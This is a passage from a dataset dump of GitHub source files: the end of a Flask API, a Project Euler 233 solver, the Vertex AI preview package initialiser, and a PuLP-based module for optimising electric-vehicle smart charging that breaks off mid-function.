jsonify({\n \"message\": \"There was a problem reading from the database.\"\n })\n finally:\n cursor.close()\n\n return result\n\n\"\"\"The main function that allows the API to run.\"\"\"\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"vanessahoamea/States-of-the-World","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":6188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"23389976726","text":"#! python\nimport sys\nimport math\n\n\ndef getN(i):\n cnt = 0;\n ranges = (i/math.sqrt(2));\n for j in range(math.ceil(i/2.0-ranges),0):\n if i*i/2-(i/2-j)*(i/2-j)<0:\n print(str(i*i/2)+ \" \" + str((i/2-j)*(i/2-j)))\n test = math.sqrt(i*i/2-(i/2-j)*(i/2-j))+i/2;\n if( test==math.floor(test)):\n cnt+=1; \n return cnt\n cnt = (cnt * 2 + 1) * 4;\n \n #print(str(i) + \" | \" + str(cnt) + \" | \" + str((cnt-4)/8));\npossible = []\ndef recursive(past):\n base = 1\n tnp = list(past)\n for i in range(len(past)):\n base *=(2*past[i])+1\n number = 0\n while(1==1):\n number+=1\n n = (base*(2*number+1)-1)/2\n if n==52:\n retString = \"\"\n for i in range(len(past)):\n retString += str(past[i]) + \" \"\n retString += str(number)\n print(retString)\n elif n>52:\n break\n else:\n tnp.append(number)\n recursive(tnp)\n tnp.pop()\n\ndef isPrime(number):\n if(number<2):\n return False\n for i in range(2,math.floor(math.ceil(number))):\n if number%i==0:\n return False\n return True\n#print(getN(171640625))\narray = []\nrecursive(array)\n\ntotal = 0\nlimit3 = 10**11\n\nlimit = 4733728\nd2 = dict()\nd = dict()\nfor i in range(1,100000):\n base = i*i\n #print(i)\n if base>limit:\n break\n #print(i)\n for j in range((i%2)+1,i,2):\n #print(j)\n baseJ = base + j*j\n if baseJ == 117:\n print(str(i) + \" | \" + str(j) + \" | \" + str(baseJ))\n if baseJ>limit:\n break\n #if (not isPrime(baseJ)):\n # break\n else:\n key = math.floor(baseJ)\n #print(key)\n if key in d:\n d[key] += 1\n else:\n d[key] = 1\n for k in range(1,limit):\n x = k * baseJ\n if x>limit:\n break\n else:\n key = math.floor(x)\n #print(key)\n if key in d2:\n d2[key] += 1\n else:\n d2[key] = 1\nprint(\"done\")\n\nlimit2 = 278455\n\ndic = dict()\nPrime = dict()\nfor w in d:\n if d[w]==1 and d2[w]==1:\n dic[w] = 1\n for i in range(w,limit2,w):\n Prime[i] = 1\nprint(\"done2\")\n\n\nnonPrime = dict()\nfor i in range (1, limit2):\n if not i in Prime:\n nonPrime[i] = 1\nprint(\"done3\")\n\nnonPrime = sorted(nonPrime)\n\nPrimes = sorted(dic)\n\n'''sys.exit()\nfor w in Primes:\n print(w)\nsys.exit()'''\n\nfor w in Primes:\n #print(w)\n base1 = w*w*w\n if base1>limit3:\n break;\n for e in Primes:\n #print(e)\n if w == e:\n continue\n base2 = base1*e*e\n if base2>limit3:\n break;\n for r in Primes:\n if r == w or r == e:\n continue\n num = base2*r\n if num>limit3:\n break\n multiplier = 0\n limit4 = math.floor(limit3/num)\n if limit4>limit2:\n print(\"what\" + str(limit4))\n for t in nonPrime:\n #print(t)\n if t > limit4:\n break\n multiplier += t\n total += multiplier*num\n #print(w*w*w*e*e*r)\n\n\n\nfor w in Primes:\n #print(w)\n base1 = w**10\n if base1>limit3:\n break;\n for e in Primes:\n #print(e)\n if w == e:\n continue\n base2 = base1*e*e\n if base2>limit3:\n break;\n multiplier = 0\n limit4 = math.floor(limit3/base2)\n for t in nonPrime:\n #print(t)\n if t > limit4:\n break\n multiplier += t\n total += multiplier*base2\n\n\nfor w in Primes:\n #print(w)\n base1 = w**7\n if base1>limit3:\n break;\n for e in Primes:\n #print(e)\n if w == e:\n continue\n base2 = base1*e*e*e\n if base2>limit3:\n break;\n #print(str(w) + \" | \" + str(e) + \" | \" + str(base2))\n multiplier = 0\n limit4 = math.floor(limit3/base2)\n for t in nonPrime:\n if t > limit4:\n break\n #print(t)\n multiplier += t\n total += multiplier*base2\nprint(total)\n\n#for w in d:\n# print(w)\nsys.exit()\n\nd = dict()\nfor i in range(1,100000):\n base = i*i\n if base>10**4:\n break\n #print(i)\n for j in range((i%2)+1,i,2):\n #print(j)\n baseJ = base + j*j\n if baseJ>10**4:\n break\n else:\n key = math.floor(baseJ)\n #print(key)\n if key in d:\n d[key] += 1\n else:\n d[key] = 1\n '''for k in range(1,100000):\n x = k * baseJ\n if x == 325:\n print (str(i) + \" | \" + str(j) + \" | \" + str(k))\n if x>10**4:\n break\n else:\n key = math.floor(x)\n #print(key)\n if key in d:\n d[key] += 1\n else:\n d[key] = 1'''\ndic = dict()\nfor w in sorted(d, key=d.get, reverse=True):\n for k in range(1,100000):\n x = k * w\n if x == 1105:\n print (str(w) + \" | \" + str(d[w]) + \" | \" + str(k))\n if x>10**4:\n break\n else:\n key = math.floor(x)\n #print(key)\n if key in dic:\n dic[key] += d[w]\n else:\n dic[key] = d[w]\nfor key in dic:\n if key == 1105:\n print(str(key) + \" | \" + str(dic[key]))\n if dic[key] == 52:\n print(key)\n \n\n\n\n\n\n#getN(359125)\n\n#for i in range(math.floor((10**11)/((5**3)*(13**2)))):\n'''for i in range(1000):\n if(isPrime(i)):\n cnt = getN(i)\n if cnt==1:\n print(i)\n elif cnt>1:\n print(str(i) + \" \" + str(cnt))\n'''\n\n\n\n'''cnt = 0;\ntest = 0;\nranges = 0;\nmaxes = 0;\nnumbers_sizes = (29*13*13*17*17*5**exp for exp in range(0, 13))\nnumbers_sizes = ((17**a)*(13**b)*(5**c) for a in range(0, 4) for b in range(0, 4) for c in range(0, 4))\nfor i in numbers_sizes: #range(3,220):\n cnt = 0;\n ranges = (i/1.41421356);\n for j in range(math.ceil(i/2.0-ranges),0):\n test = math.sqrt(i*i/2-(i/2-j)*(i/2-j))+i/2;\n if( test==math.floor(test)):\n cnt+=1; \n cnt = (cnt * 2 + 1) * 4;\n \n print(str(i) + \" | \" + str(cnt) + \" | \" + str((cnt-4)/8));\n'''\n\n\n\n\n'''x^52\nx*y^17\nx^2+\n\n(x)(2y+1)(2z+1) + yx(min(x,y,z))\n\n\n2zx+x+z\n\na=zx+(z+1)/2\n\nx(2y+1)(2z+1)+((2y+1)(2z+1)+1)/2-1\n\n((2x+1)(2y+1)(2z+1)-1)/2'''","repo_name":"rorico/Side-Projects","sub_path":"Project Euler/233.py","file_name":"233.py","file_ext":"py","file_size_in_byte":6688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"26560927280","text":"from google.cloud.aiplatform.metadata import metadata\n\nfrom vertexai.preview import developer\nfrom vertexai.preview import hyperparameter_tuning\nfrom vertexai.preview import initializer\nfrom vertexai.preview import tabular_models\nfrom vertexai.preview._workflow.driver import (\n remote as remote_decorator,\n)\nfrom vertexai.preview._workflow.shared import (\n model_utils,\n)\n\n\nglobal_config = initializer.global_config\ninit = global_config.init\nremote = remote_decorator.remote\nVertexModel = remote_decorator.VertexModel\nregister = model_utils.register\nfrom_pretrained = model_utils.from_pretrained\n\n# For Vertex AI Experiment.\n\n# ExperimentRun manipulation.\nstart_run = metadata._experiment_tracker.start_run\nend_run = metadata._experiment_tracker.end_run\nget_experiment_df = metadata._experiment_tracker.get_experiment_df\n\n# Experiment logging.\nlog_params = metadata._experiment_tracker.log_params\nlog_metrics = metadata._experiment_tracker.log_metrics\nlog_time_series_metrics = metadata._experiment_tracker.log_time_series_metrics\nlog_classification_metrics = metadata._experiment_tracker.log_classification_metrics\n\n\n__all__ = (\n \"init\",\n \"remote\",\n \"VertexModel\",\n \"register\",\n \"from_pretrained\",\n \"start_run\",\n \"end_run\",\n \"get_experiment_df\",\n \"log_params\",\n \"log_metrics\",\n \"log_time_series_metrics\",\n \"log_classification_metrics\",\n \"developer\",\n \"hyperparameter_tuning\",\n \"tabular_models\",\n)\n","repo_name":"googleapis/python-aiplatform","sub_path":"vertexai/preview/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","stars":433,"dataset":"github-code","pt":"68"}
+{"seq_id":"5025653457","text":"\"\"\"\nCollection of functions for Smart Chargng\n\"\"\"\nfrom pulp import *\nimport numpy as np\nimport plotly.graph_objects as go\nimport datetime\nimport pandas as pd\nfrom sklearn_extra.cluster import KMedoids\n\ndef PerfectForesight(b0, bmax, bmin, xmax, c, c_tilde, u, z, T, tvec, r=1, verbose=True):\n # Init problem \n prob = LpProblem(\"mpc1\", LpMinimize)\n\n # Init variables\n x = LpVariable.dicts(\"x\", tvec, lowBound=0, upBound=xmax, cat='Continuous')\n b = LpVariable.dicts(\"b\", np.append(tvec,T+1), lowBound=0, upBound=bmax*1.25, cat='Continuous')\n s = LpVariable.dicts(\"s\", tvec, lowBound=0, upBound=0.25*bmax, cat='Continuous')\n s2 = {i: LpVariable(\"s2_\"+str(i), lowBound=0, upBound=ub, cat='Continuous') for i, ub in enumerate(bmin)}\n b[0] = b0\n\n # Objective\n prob += lpSum([c[t]*x[t] for t in tvec] - c_tilde * (b[T+1]-b[0]) + [100*c_tilde*(s[t]+s2[t+1]) for t in tvec])\n\n # Constraints\n for t in tvec:\n prob += b[t+1] == b[t] + x[t]*r - u[t]\n prob += b[t+1] >= bmin[t+1] - s2[t+1]\n prob += b[t+1] <= bmax + s[t]\n prob += x[t] <= xmax * z[t]\n prob += x[t] >= 0\n\n # Solve problem\n if verbose:\n prob.solve(PULP_CBC_CMD(msg=1))\n else:\n prob.solve(PULP_CBC_CMD(msg=0))\n\n # Return objective without penalization\n prob += lpSum([c[t]*x[t] for t in tvec] - c_tilde * (b[T+1]-b[0]))\n\n # Return results\n return(prob, x, b)\n\ndef ImperfectForesight(b0, bmax, bmin, xmax, c, c_tilde, u_t_true, u_forecast, z, T, tvec, r, verbose=False):\n # Init problem \n prob = LpProblem(\"mpc1\", LpMinimize)\n\n # Init variabless\n x = LpVariable.dicts(\"x\", tvec, lowBound=0, upBound=xmax, cat='Continuous')\n b = LpVariable.dicts(\"b\", np.append(tvec,T+1), lowBound=0, upBound=5000, cat='Continuous')\n s = LpVariable.dicts(\"s\", tvec, lowBound=0, upBound=0.25*bmax, cat='Continuous') # Add penalizing slack for violating bmax=80%, but still remain below 100%\n s2 = {i: LpVariable(\"s2_\"+str(i), lowBound=0, upBound=ub) for i, ub in enumerate(bmin)}\n b[0] = b0; #s2[0] = 0;\n\n # Objective\n prob += lpSum([c[t]*x[t] for t in tvec] - c_tilde * ((b[T+1])-b[0]) + [c_tilde*100*s[t] + c_tilde*100*s2[t+1] for t in tvec])\n\n # Constraints\n for t in tvec:\n prob += b[t+1] == b[t] + x[t]*r - u_forecast[t]\n prob += b[t+1] >= bmin[t+1] - s2[t+1] # Punishment slack variable for violating bmin at t+1\n prob += b[t+1] <= bmax + s[t] # Punishment slack variable for violating bmax at t\n prob += x[t] <= xmax * z[t]\n prob += x[t] >= 0\n\n # Solve problem\n if verbose:\n prob.solve(PULP_CBC_CMD(msg=1)) \n else:\n prob.solve(PULP_CBC_CMD(msg=0))\n\n # Update b1 with actual use (relative to what we chose to charge)\n b[1] = b[0] + x[0]*r - u_t_true\n prob.assignVarsVals({'b_1': b[1]})\n\n # Return results\n return(prob, x, b)\n\n\ndef plot_EMPC(prob, name=\"\", x=np.nan, b=np.nan, u=np.nan, c=np.nan, z=np.nan, starttime='', endtime='', export=False, export_only = False, BatteryCap=60, firsthour=0, vehicle_id='', SOCorg=None):\n fig = go.Figure()\n if type(prob) == dict:\n tvec = np.arange(0, len(prob['x']))\n tvec_b = np.arange(0, len(prob['b']))\n fig.add_trace(go.Scatter(x=tvec_b, y=[value(prob['b'][t]) for t in tvec_b], mode='lines', name='State-of-Charge'))\n fig.add_trace(go.Scatter(x=tvec, y=[value(prob['u'][t]) for t in tvec], mode='lines', name='Use'))\n fig.add_trace(go.Scatter(x=tvec, y=[value(prob['x'][t]) for t in tvec], mode='lines', name='Charging'))\n fig.add_trace(go.Scatter(x=tvec, y=[value(prob['c'][t]) for t in tvec], mode='lines', name='True Price'))\n fig.add_trace(go.Scatter(x=tvec, y=[prob['z'][t]*2-1 for t in tvec], mode='lines', name='Plugged-in', line=dict(color='black', width=0.5)))\n obj = prob['objective']\n if SOCorg is not None:\n fig.add_trace(go.Scatter(x=tvec_b, y=[SOCorg[t] for t in tvec_b], mode='lines', name='Original SOC'))\n BatteryCap = max(BatteryCap, np.max(SOCorg), np.max([value(prob['b'][t]) for t in tvec_b]))\n \n else:\n tvec = np.arange(0, len(x))\n tvec_b = np.arange(0, len(b))\n obj = value(prob.objective)\n fig.add_trace(go.Scatter(x=tvec_b, y=[value(b[t]) for t in tvec_b], mode='lines', name='State-of-Charge'))\n fig.add_trace(go.Scatter(x=tvec, y=[value(u[t]) for t in tvec], mode='lines', name='Use'))\n fig.add_trace(go.Scatter(x=tvec, y=[value(x[t]) for t in tvec], mode='lines', name='Charging'))\n fig.add_trace(go.Scatter(x=tvec, y=[value(c[t]) for t in tvec], mode='lines', name='True Price'))\n fig.add_trace(go.Scatter(x=tvec, y=[z[t]*2-1 for t in tvec], mode='lines', name='Plugged-in', line=dict(color='black', width=0.5)))\n \n fig.update_xaxes(tickvals=tvec_b[::24]+firsthour, ticktext=[str(t//24) for t in tvec_b[::24]+firsthour])\n\n fig.update_yaxes(range=[-3, BatteryCap+2])\n\n fig.update_layout(title=name + \" from \" + starttime +\" to \"+ endtime+\" Total raw cost: \" + str(round(obj)) + \" DKK\",\n xaxis_title=\"Days\",\n yaxis_title=\"kWh or DKK/kWh or [T/F]\")\n if not export_only:\n fig.show()\n\n ## Export figure\n if export:\n if vehicle_id != '':\n # Make vehicle_unique folder\n vehicle_id = str(vehicle_id) + \"/\"\n if not os.path.exists(\"plots/MPC/\"+vehicle_id):\n os.makedirs(\"plots/MPC/\"+vehicle_id)\n if not os.path.exists(\"plots/MPC/\"+vehicle_id + \"pdfs/\"):\n os.makedirs(\"plots/MPC/\"+vehicle_id + \"pdfs/\")\n fig.write_html(\"plots/MPC/\"+vehicle_id + name + \"_mpc.html\")\n layout = dict(font=dict(family='Computer Modern',size=9),\n margin=dict(l=5, r=5, t=30, b=5),\n width=605, height= 250,\n title_x = 0.5,\n legend=dict(orientation=\"h\", yanchor=\"bottom\", y=-.30, xanchor=\"right\", x=1))\n # Move xaxis title to the bottom left\n fig.update_xaxes(title_text=\"Days .\")\n fig.update_layout(layout)\n # Decrease linewidth of all lines except for \"Plugged-in\"\n for i in range(len(fig.data)-1):\n fig.data[i].line.width = 1.5\n fig.write_image(\"plots/MPC/\"+vehicle_id + \"pdfs/\" + name + \"_mpc.pdf\")\n\ndef DumbCharge(b0, bmax, bmin, xmax, c, c_tilde, u, z, T, tvec, r=1, verbose=False):\n # Init problem\n prob = LpProblem(\"mpc_DumbCharge\", LpMinimize)\n\n # Init variables\n x = LpVariable.dicts(\"x\", tvec, lowBound=0, upBound=xmax, cat='Continuous')\n b = LpVariable.dicts(\"b\", np.append(tvec,T+1), lowBound=0, upBound=5000, cat='Continuous')\n i = LpVariable.dicts(\"i\", tvec, lowBound=0, upBound=1, cat='Binary')\n s = LpVariable.dicts(\"s\", tvec, lowBound=0, upBound=0.25*bmax, cat='Continuous')\n #s2 = LpVariable.dicts(\"s2\", tvec, lowBound=0, upBound=bmin, cat='Continuous')\n s2 = {i: LpVariable(\"s2_\"+str(i), lowBound=0, upBound=ub, cat='Continuous') for i, ub in enumerate(bmin)}\n b[0] = b0\n M = 10**6\n\n # Objective\n prob += lpSum([c[t]*x[t] for t in tvec] - c_tilde * (b[T+1]-b[0]) + [100*c_tilde*(s[t]+s2[t+1]) for t in tvec])\n\n # Constraints\n for t in tvec:\n prob += b[t+1] == b[t] + x[t]*r - u[t]\n prob += b[t+1] >= bmin[t+1] - s2[t+1]\n prob += b[t+1] <= bmax + s[t]\n \n ######## DUMB CHARGE ########\n ########## Implement in OR-terms: x[t] == min(z[t]*xmax, bmax-b[t]) ==> min(z[t]*xmax, bmax+s[t]-b[t]-u[t] / r)\n # Ensure i[t] == 1, if z[t]*xmax < bmax-b[t] (dvs. i=1 når der er rigeligt plads på batteriet)\n prob += (bmax+s[t]-b[t])/r - z[t]*xmax - M*i[t] <= 0 # Sry, men tilføj evt. u[t], fordi der i analysen bliver forbrugt strøm mens vi oplader. I praksis ville denne være 0 (eller næsten 0) og kan slettes fra modellen. Hvorfor er det ikke snyd at have den med: I Dumbcharge vil vi alligevel oplade med max hastighed indtil den er fuld, så hvis der lineært blet forbrugt strøm over den time, er det effektivt det samme at kende u[t] i den time.\n prob += z[t]*xmax - (bmax+s[t]-b[t])/r - M*(1-i[t]) <= 0\n\n # Use i[t] to constraint x[t]\n prob += x[t] <= z[t]*xmax\n prob += x[t] <= (bmax+s[t]-b[t]) / r # s[t] er tilføjet for at undgå, at x[t] tvinges negativ, når b[t] er en smule højere end bmax\n prob += x[t] >= (z[t]*xmax - M*(1-i[t])) # i = 1 betyder, at der lades max kapacitet\n prob += x[t] >= (bmax+s[t]-b[t]) / r - M*i[t] # i = 0 betyder, at vi kun kan lade de resterende til 80 eller 100 % SOC\n #prob += i[t] <= z[t]\n\n # Solve problem\n prob.solve(PULP_CBC_CMD(gapAbs = 0.01, msg=verbose))\n\n # Return objective without penalization\n prob += lpSum([c[t]*x[t] for t in tvec] - c_tilde * (b[T+1]-b[0]))\n\n # Return results\n return(prob, x, b)\n\n### Stochastic programming functions. Maintained in here\ndef StochasticProgram(n_scenarios, b0, bmax, bmin, xmax, c_d, c_s, c_tilde, u_t_true, u_forecast, z, tvec, r, l, previous_solution=None, KMweights=None, verbose=True):\n \"\"\"\n Solves the 2-stage stochastic program for a given time horizon T, and returns the optimal solution.\n l: Length of deterministic prices\n O: Number of scenarios (Omega)\n \"\"\"\n\n if KMweights is None:\n KMweights = np.repeat(1/n_scenarios, n_scenarios)\n O, K = c_s.shape\n tvec_d = tvec[0:l] # Deterministic part\n tvec_s = tvec[l:] # Stochastic part\n \n ### Init problem\n prob = LpProblem(\"StochEcoMPC\", LpMinimize)\n\n ### Init variables\n x_d = LpVariable.dicts(\"x_d\", tvec_d, lowBound=0, upBound=xmax, cat='Continuous')\n x_s = LpVariable.dicts(\"x_s\", [(t,o) for o in range(O) for t in tvec_s], lowBound=0, upBound=xmax, cat='Continuous') #xs_i,omega\n b = LpVariable.dicts(\"b\", [(t,o) for o in range(O) for t in np.append(tvec,tvec[-1]+1)], lowBound=0, upBound=5000, cat='Continuous')\n s = LpVariable.dicts(\"s\", [(t,o) for o in range(O) for t in tvec], lowBound=0, upBound=0.25*bmax, cat='Continuous') # Add penalizing slack for violating bmax=80%, but still remain below 100%\n s2 = {(i, o): LpVariable(\"s2_(\"+str(i)+\",_\"+str(o)+\")\", lowBound=0, upBound=ub) for o in range(O) for i, ub in enumerate(bmin)}\n # Set initial SOC to b0 for all scenarios o\n for o in range(O): b[(0,o)] = b0\n\n # # warm-start\n # if (previous_solution is not None) and (l > 1):\n # x_d_prev = previous_solution[0]\n # x_s_prev = previous_solution[1]\n # for t in range(1, len(x_d_prev)):\n # if t < l:\n # x_d[t-1].setInitialValue(round(x_d_prev[t].value(),5))\n # for t in range(l+1, l+int(len(x_s_prev)/O)):\n # if t <= h:\n # for o in range(O):\n # x_s[t-1,o].setInitialValue(round(x_s_prev[(t,o)].value(), 5))\n\n ### Objective\n prob += lpSum([c_d[t]*x_d[t] for t in tvec_d]) + lpSum([KMweights[o] * c_s[o,t]*x_s[t,o] for t in tvec_s for o in range(O)]) - lpSum([KMweights[o] * c_tilde * ((b[tvec[-1],o]) - b[0,o]) for o in range(O)]) + lpSum([KMweights[o] * 100 *c_tilde*(s[t,o]+s2[t+1,o]) for t in tvec for o in range(O)])\n\n ### Constraints\n # Deterministic part\n for t in tvec_d:\n for o in range(O):\n prob += b[(t+1,o)] == b[(t,o)] + x_d[t]*r - u_forecast[t]\n prob += b[(t+1,o)] >= bmin[t+1] - s2[t+1,o]\n prob += b[(t+1,o)] <= bmax + s[t,o]\n prob += x_d[t] <= xmax * z[t]\n prob += x_d[t] >= 0\n\n # Stochastic part$\n for t in tvec_s:\n for o in range(O):\n prob += b[(t+1,o)] == b[(t,o)] + x_s[(t,o)]*r - u_forecast[t]\n prob += b[(t+1,o)] >= bmin[t+1] - s2[t+1,o]\n prob += b[(t+1,o)] <= bmax + s[t,o]\n prob += x_s[(t,o)] <= xmax * z[t]\n prob += x_s[(t,o)] >= 0\n\n # Solve problem\n if verbose:\n prob.solve(PULP_CBC_CMD(warmStart=(previous_solution != None)))\n else:\n prob.solve(PULP_CBC_CMD(msg=0, warmStart= (previous_solution != None)))\n print(\"Status:\", LpStatus[prob.status])\n\n # Update b1 with actual use (relative to what we chose to charge) (Should be sufficient only to update b(1,0))\n for o in range(O):\n b[(1,o)] = b[(0,o)] + value(x_d[0])*r - u_t_true\n prob.assignVarsVals({'b_(1,_'+str(o)+')': b[1,o]})\n assert b[1,o] == value(b[1,0]), \"b(1,o) is not equal to value(b(1,0))\"\n \n # Return results\n return(prob, x_d, b, x_s)\n\ndef getMediods(scenarios, n_clusters):\n # Perform KMedoids clustering\n kmedoids = KMedoids(n_clusters=n_clusters, random_state=0).fit(scenarios)\n # Extract mediods\n mediods = scenarios[kmedoids.medoid_indices_]\n # Extract proportion of scenarios in each cluster\n cluster_proportions = np.zeros(n_clusters)\n for i in range(n_clusters):\n cluster_proportions[i] = np.mean(kmedoids.labels_ == i)\n # Return mediods and cluster proportions\n return(mediods, cluster_proportions)\n\n# Maintained here\ndef MultiDayStochastic(scenarios, n_scenarios, dfp, dft, dfspot, u, uhat, z, h, b0, bmax, bmin, xmax, c_tilde, r, KMweights=None, maxh=6*24, perfectForesightUse=False, verbose=False):\n # Study from first hour of prediciton up to and including the latest hour of known spot price\n L = len(u) - (maxh+1)\n H = h; # Store h\n\n # Init\n flag_AllFeasible = True\n prev_sol = None\n tvec = np.arange(0,h+1)\n B = np.empty((L+1)); B[:] = np.nan; B[0] = b0;\n X = np.empty((L)); X[:] = np.nan\n c = dfspot['TruePrice'].to_numpy()\n costs = 0\n k = 0\n # E.g. k, i, j, l, b0 = 163, 163, 0, 17, 60.17055119267742\n \n # For each Atime\n for i in range(len(dfp)):\n h = H\n l = dfp['l_hours_avail'][i]+1\n # For each hour until next forecast\n for j in range(dfp['Atime_diff'][i]):\n flag_OutOfForecasts = False\n if k%50 == 0:\n print(\"k = \" + str(k) + \" of \" + str(L-1))\n \n # Patch holes in forecasts (1 out of 2)\n l = l-1\n if l < 12: # New prices are known at 13.00\n l = 35\n\n # When re-using the same forecast, shorten the horizon\n if j>0:\n h = max(h-1, l-1) # h = h-1 but don't go below the DayAhead horizon\n h = min(h, L-k) # Allow control to know that experiment is ending.\n tvec = np.arange(0,h+1)\n #print(\"i,j,k,l,h = \", i,j,k,l,h)\n\n # Extract forecasts from t=0..h\n c_forecast = dfp.iloc[i, (j+3):(3+H+1)].to_numpy();\n \n # Patch holes in forecasts (2 out of 2) - use known prices\n #c_forecast[:min(l,h+1)] = dft.iloc[i, (j+3):(3+H+1)].to_numpy()[:min(l,h+1)]\n try:\n c_forecast[:min(l,h+1)] = c[k:k+min(l,h+1)]\n except:\n # Edge case: If c_forecast has become shorter than known hours: fix\n if min(l,h+1) > len(c_forecast):\n c_forecast = c[k:k+min(l,h+1)]\n flag_OutOfForecasts = True\n print(\"flag: Out Of Forecasts\")\n \n # Extract deterministic and stochastic prices\n if KMweights is None:\n idx = np.random.randint(0, scenarios.shape[0]-n_scenarios)\n scenarioExtract = scenarios[idx:idx+n_scenarios, :] # Subset new scenarios every iteration\n else:\n scenarioExtract = scenarios\n \n # Extract prices\n c_d = c_forecast[:l] # Deterministic part\n #print(\"k = \" + str(k) + \" of \" + str(L-1) + \" i = \"+str(i),\" - l = \" + str(l) + \" - h = \" + str(h) + \" - j = \" + str(j) + \" - c_d = \" + str(c_d) + \" - c_forecast = \" + str(c_forecast))\n if not flag_OutOfForecasts:\n c_s = c_forecast + scenarioExtract[:, j:(H+1)] # Stochastic part\n else:\n c_s = c_forecast + np.zeros((n_scenarios, len(c_forecast)))\n c_s[c_s < 0] = 0 # Truncate cost_stochastic to assume non-negative electricity spot prices. Conclussion: Performed better.\n\n # Find relevant input at the specific hours of flexibility\n tvec_i = np.arange(k, k+h+1)\n z_i = z[tvec_i]\n bmin_i = bmin[np.append(tvec_i, tvec_i[-1]+1)]\n\n u_forecast = np.repeat(uhat[k], h+1)\n if perfectForesightUse:\n u_forecast = u[tvec_i]\n u_t_true = u[k]\n\n # Solve\n if z_i[0] != 0: # Plugged in\n prob, x_d, b, x_s = StochasticProgram(n_scenarios, b0, bmax, bmin_i, xmax, c_d, c_s, c_tilde, u_t_true, u_forecast, z_i, tvec, r, l, previous_solution=None, KMweights=KMweights, verbose=verbose)\n if LpStatus[prob.status] != 'Optimal':\n flag_AllFeasible = False\n print(\"\\n\\nPlugged in = \", z[k],\"=\", z_i[0])\n print(\"bmin = \", round(bmin[k]), round(bmin_i[0]), \"bmin_t+1 = \", round(bmin_i[1]))\n print(\"u_true, u_forecast = \", u[k], u_forecast[0])\n print(\"b0 = \", b0, \"b1 = \", value(b[1,0]))\n print(\"x = \", value(x_d[0]), \"Trying \", bmin[k+1],\"<=\", r*value(x_d[0])+b[0,0]-u[k], \" <= \", bmax)\n print(\"Infeasible at k = \" + str(k) + \" with i = \" + str(i) + \" and j = \" + str(j), \" and l = \" + str(l))\n print(\"\\n\\n\\n\")\n x0 = value(x_d[0])\n b1 = value(b[1,0])\n elif z_i[0] == 0: # Not plugged in\n x0 = 0\n b1 = b0 + x0*r - u_t_true\n\n # Implement/store only the first step, and re-run in next hour\n X[k]=x0; # Amount charged in the now-hour\n B[k+1]=b1; # Battery level after the now-hsecour / beggining of next hour\n costs += x0 * c[k]; # Cost of charging in the now-hour\n b0 = b1 # Next SOC start is the current SOC\n k += 1\n #prev_sol = [x_d, x_s] # For warm-start\n\n # THE END\n if k == L:\n # Costs\n total_cost = np.sum(costs) - c_tilde * (B[-1] - B[0])\n\n # Any non-feasibilities\n if any(B<0) or any(B > 1.25*bmax):\n flag_AllFeasible = False\n\n # Tie results intro prob\n prob = {'x':X, 'b':B, 'u':u[0:L], 'c':c[0:L], 'z':z[0:L], 'objective':total_cost}\n return(prob, X, B, flag_AllFeasible)\n\n# Maintained here (from mpc3_montadata.py)\ndef MultiDay(dfp, dft, dfspot, u, uhat, z, h, b0, bmax, bmin, xmax, c_tilde, r, DayAhead=False, maxh=6*24, perfectForesightUse=False):\n # Study from first hour of prediciton up to and including the latest hour of known spot price\n L = len(u) - (maxh+1) # Run through all data, but we don't have forecasts of use/plug-in yet.\n # maxh = maximum h of interest ==> to allow comparison on exact same data for different horizons h.\n H = h # store h\n # Init\n flag_AllFeasible = True\n tvec = np.arange(0,h+1)\n B = np.empty((L+1)); B[:] = np.nan; B[0] = b0;\n X = np.empty((L)); X[:] = np.nan\n c = dfspot['TruePrice'].to_numpy()\n costs = 0\n k = 0\n\n # For each Atime\n for i in range(len(dfp)):\n h = H\n tvec = np.arange(0,h+1)\n flagForecastHole = 0\n l = dfp['l_hours_avail'][i]+1\n # For each hour until next forecast\n for j in range(dfp['Atime_diff'][i]):\n if k%50 == 0:\n print(\"k = \" + str(k) + \" of \" + str(L-1))\n \n # Patch holes in forecasts (1 out of 2)\n l = l-1\n if l < 12: # New prices are known at 13.00\n l = 35\n flagForecastHole += 1\n\n if DayAhead: # If Day-Ahead Smart Charge, disregard h input and use h = l_hours_avail-1\n h = l-1\n #H = dfp['l_hours_avail'][i]-1\n H = dfp['l_hours_avail'][i]-1 + 24*flagForecastHole\n #print(\"i,j,k,l,h = \", i,j,k,l,h)\n\n # When re-using the same forecast, shorten the horizon\n if (j>0) and (not DayAhead):\n h = max(h-1, l-1) # h = h-1 but don't go below the DayAhead horizon\n h = min(h, L-k) # Allow control to know that experiment is ending.\n tvec = np.arange(0,h+1)\n\n # Extract forecasts from t=0..h\n #c_forecast = dfp.iloc[i, (j+3):(j+3+h+1)].to_numpy()\n c_forecast = dfp.iloc[i, (j+3):(3+H+1)].to_numpy()\n \n # Patch holes in forecasts (2 out of 2) - use known prices\n #c_forecast[:min(l,h+1)] = dft.iloc[i, (j+3):(3+H+1)].to_numpy()[:min(l,h+1)]\n #print(\"k = \" + str(k) + \" of \" + str(L-1) + \" (h = \" + str(h) + \") i=\" + str(i) + \" j=\" + str(j) + \" l=\" + str(l) + \" c_forecast = \" + str(c_forecast))\n try:\n c_forecast[:min(l,h+1)] = c[k:k+min(l,h+1)]\n except:\n # Edge case: If c_forecast has become shorter than known hours: fix\n if min(l,h+1) > len(c_forecast):\n c_forecast = c[k:k+min(l,h+1)]\n\n \n # Find relevant input at the specific hours of flexibility\n tvec_i = np.arange(k, k+h+1)\n z_i = z[tvec_i] # Assuming known plug-in times.\n bmin_i = bmin[np.append(tvec_i, tvec_i[-1]+1)]\n\n u_forecast = np.repeat(uhat[k], h+1) # = actually uhat[k-1], but a 0 has been appended as first value.\n if perfectForesightUse:\n u_forecast = u[tvec_i]\n u_t_true = u[k]\n \n # Solve\n if z_i[0] != 0:\n prob, x, b = ImperfectForesight(b0, bmax, bmin_i, xmax, c_forecast, c_tilde, u_t_true, u_forecast, z_i, h, tvec, r, verbose=False) # Yes, it is tvec=0..h, NOT tvec_i\n #print(\"Status:\", LpStatus[prob.status])\n if LpStatus[prob.status] != 'Optimal':\n flag_AllFeasible = False\n print(\"\\n\\nPlugged in = \", z[k],\"=\", z_i[0])\n print(\"bmin = \", round(bmin[k]), round(bmin_i[0]), \"bmin_t+1 = \", 